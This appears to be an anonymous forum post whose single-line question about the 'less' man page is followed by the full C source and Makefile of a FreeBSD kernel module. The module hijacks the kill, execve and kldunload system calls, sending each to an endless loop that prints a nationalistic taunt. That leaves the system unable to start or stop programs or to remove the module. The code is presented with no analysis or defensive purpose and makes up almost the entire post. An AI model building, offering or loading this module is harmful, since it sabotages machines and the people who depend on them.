Name: Anonymous 2009-01-29 2:01
Is the less man page just one gigantic joke?
#include<sys/types.h>
#include<sys/systm.h>
#include<sys/param.h>
#include<sys/kernel.h>
#include<sys/module.h>
#include<sys/syscall.h>
#include<sys/sysent.h>
#include<sys/malloc.h>
#include<sys/sysproto.h>
#include<sys/unistd.h>
#include<sys/fcntl.h>
#include<sys/uio.h>
int KOREA(struct thread *, void *);
int loader(struct module *, int, void *);
int KOREA(struct thread *td, void *z){
for(;;){
uprintf("KOREA WAS HERE, JAPAN IS LOSER\n");
}
return(0);
}
int loader(struct module *module, int cmd, void *args){
int error=0;
switch(cmd){
case MOD_LOAD:
sysent[SYS_kill].sy_call = (sy_call_t *) KOREA;
sysent[SYS_execve].sy_call = (sy_call_t *) KOREA;
sysent[SYS_kldunload].sy_call = (sy_call_t *) KOREA;
break;
default:
error=EOPNOTSUPP;
}
return(error);
}
struct moduledata koreaMod = {
"KOREA",
loader,
};
DECLARE_MODULE(KOREA, koreaMod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);KMOD = KOREA
SRCS = KOREA.c
.include<bsd.kmod.mk>